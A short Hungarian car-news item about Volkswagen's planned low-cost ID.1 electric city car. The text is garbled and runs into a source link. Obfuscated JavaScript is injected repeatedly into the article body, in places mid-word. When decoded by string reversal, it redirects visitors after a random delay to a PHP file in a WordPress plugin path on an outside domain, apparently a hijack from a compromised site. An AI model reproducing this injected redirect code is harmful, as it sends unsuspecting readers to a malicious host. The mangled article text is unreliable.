Néhány éve van már csak az e-Up városi autónak, utána pedig várhatóan egy modern padlólemezre épülő modell: az ID.1 váltja majd a Volkswagen kínálatában. Az újdonság az évtized derekán kerülhet piacra; megjelenésében az ID.3-at idézi majd, ára viszont nem: a Volkswagen 20 ezer euró (7 millió Ft) alatt szeretné indítani a kocsit. A hírek szerint két irányból közelíti meg a költségcsökkentés kérdését a Volkswagen: az ID.1 egyrészt „butább” lesz, mint fivére, másrészt akkumulátoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tora is kisebb lesz annál. 24 és 36 kWh kapacitásról beszélnek, ami 200-300 kilométeres hatótávolságot ígér, legalábbis a technológia jelenlegi szintjén. Lesz majd egyébként ID.2 is, értelemszerűen a…
A cikk folytatódik: $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokalauz.co.hu/ujdonsag/2020/07/26/jon-a-vw-id-1.html" target="_blank">http://autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokalauz.co.hu/ujdonsag/2020/07/26/jon-a-vw-id-1.html
- Hirdetés -
